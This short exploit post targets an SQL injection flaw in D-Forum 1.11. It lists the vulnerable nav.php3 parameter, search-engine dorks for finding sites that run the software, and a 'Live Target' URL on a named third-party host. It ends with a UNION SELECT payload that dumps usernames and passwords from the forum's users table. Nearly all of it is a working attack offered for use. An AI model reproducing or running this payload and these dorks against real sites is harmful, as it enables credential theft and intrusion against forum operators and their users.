D-Forum 1.11

D-Forum 1.11 SQL Injection Vulnerability

EXPLOIT :

http://localhost/[path]/nav.php3?page=voirsujet&boardid=1&postid=[SQLi]



DORK:

"Powered by D-forum"
"nav.php3?page=voirsujet"



Live Target :

http://va.teamdh.free.fr/dforum/nav.php3?page=voirsujet&boardid=1&postid=1
-null+union+select+1,2,3,group_concat(0x3a,user_login,0x3a,user_pass,0x3a),5,6,7,8,9,10,11,12,13+from+dforum_users--



POC :

-null+union+select+1,2,3,group_concat(0x3a,user_login,0x3a,user_pass,0x3a),5,6,7,8,9,10,11,12,13+from+dforum_users--